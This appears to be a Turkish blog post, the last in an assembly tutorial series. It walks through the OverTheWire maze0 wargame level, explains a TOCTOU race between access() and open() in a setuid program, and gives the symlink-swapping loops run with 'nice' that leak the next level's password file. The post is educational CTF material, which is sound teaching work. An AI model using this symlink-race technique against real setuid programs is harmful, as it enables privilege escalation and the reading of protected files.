Hacker'ın Olmazsa Olmazı Assembly #10 Reys ReiS

Seriyi başından beri takip edenlerin "daha ne kaldı ki" sorusuna cevap olması niyetiyle hazırlanan bu yazıda programcıların başbelası, programların gizli tümörü olarak nitelendirilen race condition konusunu anlatıp sadece yazımızı değil, serimizi de bitiyoruz [aaaauuooovvv].

Twitterda yapılan oylama neticesinde bir sonraki serimizde meraklıları için linux kernel konusuna giriş yapmayı düşünüyoruz. Girişe niyetimiz var da çıkmayı başarabilecek miyiz şimdilik meçhul diyor ve yazımızın başlıklarına geçiyoruz.

Umut Hacker'ın Ekmeği

Meşhur Temel Reisin amcaoluu Reys Reis yani Race condition yaniyani yarış durumu, önceki yazılarda kulaklarını çınlattığımız ultrazeki programcı gardaşlarımızın "oldu bu tamamdır" deyip de biz gözününyaşınabakmaz heykırlara bahşettiği bomba zaafiyetlerden birtanesidir.Nereden bomba oluyor arkadaş, sıradan bir zaafiyet işte diye aklının ucundan geçirenlere Fermin Serna bıradırımızın bir tivitini kapak niyetiyle paylaşmıştım zamanında[aradan geçmiş 6 koca sene].

Yani diyor ki kendileri, fazlanamayan bug kıyamete kadar kalır arkadaş! Bizim Reys Reis de fazlanamayan buglardan biri diyor ve işin süsleme kısmını bitirip mevzuya dalıyoruz.

En temelinden anlatmaya başlarsak ortada bir yarış var ve birileri (yani biz) bu yarışı kazanmak için elinden geleni yapıyor diyebiliriz. Peki bu yarış nerelerde oluyor ve kazanmak için neler yapmak lazım tek tek inceleyelim.Bir program düşünün, önce bir kontrol yapıyor, sonra size yetki veriyor.Gayet güzel işte, kontrol yapıyorsa sorun yok diyenlere matrix hesabı kontrolu geçer geçmez zamanı durdurabiliriz desem, aslanlar gibi sömürüveririz desem, üstüne bi biskrem versem hala mümkün deeel mi dersiniz? [Görcezzz]

Konunun anlaşılması için örnek şart diyor ve bu tarz konuları öğrenmemiz için hazırlanan bir CTF'in [Bayrağı yakala oyunu] kobayımız olarak kullanıyoruz.Önce oyun serverına bağlanıp hedef programımızı bir inceleyelim:

ka@ka-vm ~ $ ssh maze0@maze.labs.overthewire.org
...
maze0@maze.labs.overthewire.org's password: [şifre maze0]
maze0@melinda:~$ cd /maze
maze0@melinda:/maze$ ls -al ./maze0
-r-sr-x--- 1 maze1 maze0 5654 Jun 6 14:00 ./maze0

Hedef program maze1 kullanıcısına ait, bizim çalıştırma yetkimiz olan ve tersine mühendislikle incelediğinde içerisinde canafar gibin reys reis barındıran bir program.Tersine mühendislikle uğraşma kısmını es geçersek, program şöyle başlıyor diyebiliriz:

if ( !access("/tmp/bla", R_OK) )
{
euid_1 = geteuid();
euid_2 = geteuid();
euid_3 = geteuid();
setresuid(euid_3, euid_2, euid_1);

Programcı gardaş eşşeğini sağlam kazığa bağlamak için önce bir kontrol yaptırıyor, bla isimli dosyayı açabiliyorsak, programın yetki seviyesi arttırılıyor.Buraya kadar olan kısma KONTROL diyelim ve devamına bakalım:

flag = open("/tmp/bla", O_RDONLY);
if ( flag < 0 )
return(-1);
read(flag, &buf;, 19u);
write(1, &buf;, 19u);

Yetki seviyemiz arttıktan sonra aynı dosyayı açıp içinden 19 byte okuyor ve bize gösteriyor.Hedefimizde ise maze1 kullanıcısına ait olan bir dosyanın içeriğine erişebilmek.Ufaktan birkaç deneme yapalım:

maze0@melinda:/maze$ cat /etc/maze_pass/maze1
cat: /etc/maze_pass/maze1: Permission denied
maze0@melinda:/maze$ ln -sf /etc/maze_pass/maze1 /tmp/bla
maze0@melinda:/maze$ ls -al /tmp/bla
lrwxrwxrwx 1 maze0 maze0 20 Nov 14 16:36 /tmp/bla -> /etc/maze_pass/maze1
maze0@melinda:/maze$ strace ./maze0
...
access("/tmp/bla", R_OK) = -1 EACCES (Permission denied)

Görüldüğü üzere boyumuz yine kısa kaldı, üzgünüm beyler ama mevzu bu kadar basit olsa, hakkında yazı yazmazdık değil mi? Ne yapıyoruz o zaman, bir sonraki başlıkta silahlarımızı hazırlıyor ve ateş atmeye başlıyoruz.

Az Kibar Olaydın

Kibarlık her yerde ve her şartta başarı ihtimalinizi arttırır arkadaşlar.Müsadenizle bunu bir ayetle tasdiklemek istiyorum.Kendisini tanrı ilan eden firavun lanetlisine Allah (c.c.), Musa (a.s.) ve Harun (a.s.) peygamberleri gönderirken bakın nasıl davranmalarını istiyor:

Ona yumuşak söz söyleyin, belki öğüt dinler veya korkar.(Taha Suresi - 44. ayet,Diyanet Meali)

İnanmakta zorlanabilirsiniz ama hedef programımızı sömürebilmek için biz de yumuşak davranmak,kibar olmak zorundayız.Peki programlar için böyle birşey söz konusu mudur? [Öyleymiş ki soruyoruz]

Diyelim ki bir taraftan CD yazarken, diğer taraftan başka bir programla uğraşmanız gerekiyor.Cd yazılırken bilgisayarın başka birşeyle fazladan uğraşması yazma sırasında hata ihtimalini arttırıp sinirlerinizi hoplatabilir.Linuxu hazırlayan arkadaşlar, sağolsunlar varolsunlar, böyle durumlar için bir özellik eklemiş ve bunu kontrol etmemizi sağlayan bir program hazırlamışlar.Deneyip görelim:

ka@ka-vm ~/reys $ man nice
...
nice - run a program with modified scheduling priority
ka@ka-vm ~/reys $ cat - [Değer belirtmeden]
ka@ka-vm ~ $ ps -fl 3985
F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD
0 S ka 3985 2343 0 80 0 - 1057 n_tty_ 14:52 pts/1 0:00 cat -
ka@ka-vm ~/reys $ nice -n 20 cat - [Kibar olunca]
ka@ka-vm ~ $ ps -fl 4044
F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD
0 S ka 4044 2343 0 99 19 - 1057 n_tty_ 15:03 pts/1 0:00 cat -

Nice komutu sayesinde diğer programlara karşı kibar olabiliyoruz.Normalde sıfır olan kibarlık değeri, en fazla 19, en az -20 olabiliyor.Bu bilgiyi de silahlarımız arasına ekledikten sonra artık saldırı zamanı diyor ve diğer başlığımıza geçiyoruz.

Ayrıl da Gel

Kibar olmayı da öğrendiğimize göre akşın zamanı diyor, ateş etmeye başlıyoruz.Teorikte yapmamız gereken şu; önce yetkimiz olan bir dosyayı, mesela salla diyelim, ln komutu ile bla'ya bağlıyoruz. Böylece ilk kontrolu geçip yetkimizi arttırmayı başarıyoruz, yetkiyi kaptıktan sonra, tekrar ln komutu ile bu sefer hedef dosyamız olan maze1 ile bağlamayı başarırsak içeriğini görebiliriz.Okiyrımm okiyrımm bi cacık anlamıyrim diyenlere videoda bütün detaylar mevcut diyerek, saldırıyı başlatalım.

maze0@melinda:/maze$ echo '!!!!!!!!!!!!!!!!!!!' > /tmp/salla
maze0@melinda:/maze$ ln -sf /tmp/salla /tmp/bla
maze0@melinda:/maze$ ./maze0
!!!!!!!!!!!!!!!!!!!

Tırışkadan teyyare dosyamız da hazır olduğuna göre şimdi terminalin birinden programımızı kısır döngüye sokarken, diğer terminalden de sürekli bağlanan dosyaları hedefimizle değiştiriyoruz.Görelim:

[Terminal 1]
while :; do ln -sf /tmp/salla /tmp/bla; ln -sf /etc/maze_pass/maze1 /tmp/bla; done
[Terminal 2]
ka@ka-vm ~/reys $ while :;do nice -n 20 ./maze0; done
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![bir süre sonra baaam efekti ile reys reis sahnede]

Hedef programımızı while döngüsüne sokarken ne kadar kibar olduğumuzu farkettiniz değil mi?Kibar olmak zorundayız çünkü kontrol kısmını geçer geçmez istiyoruz ki programımız kendini beklemeye alsın, bu arada diğer terminalde, içeriğini göstereceği dosyanın linki değişsin.Okurken pek anlaşılmasa da videoda herşey gayet basit diyor ve müsadenizle hem bu yazımızı hem de serimizi bitiriyorum.

Reys Reisi de anlattıktan sonra 11 yazı + 10 videodan oluşan Assembly serimizi bitiyoruz.Bundan sonraki serimiz linux kernel hakkında olup daha da derinlere inmek isteyen herkesin ilgisini çekeceğini umuyorum.Seri boyunca gerek yorumlarla, gerek emaillerle desteklerini bildiren herkese teşekkür ediyorum. Verilen uğraşların, harcanan vakitlerin insanlara faydası olduğunu bilmek gerçekten bir mutluluk kaynağı diyor, geyiği fazla uzatmadan bir sonraki seride görüşmek üzere diyorum.

Oynatalım Uğurcum

Yazı için hazırlanan videoyu YouTube'dan izleyebilirsiniz.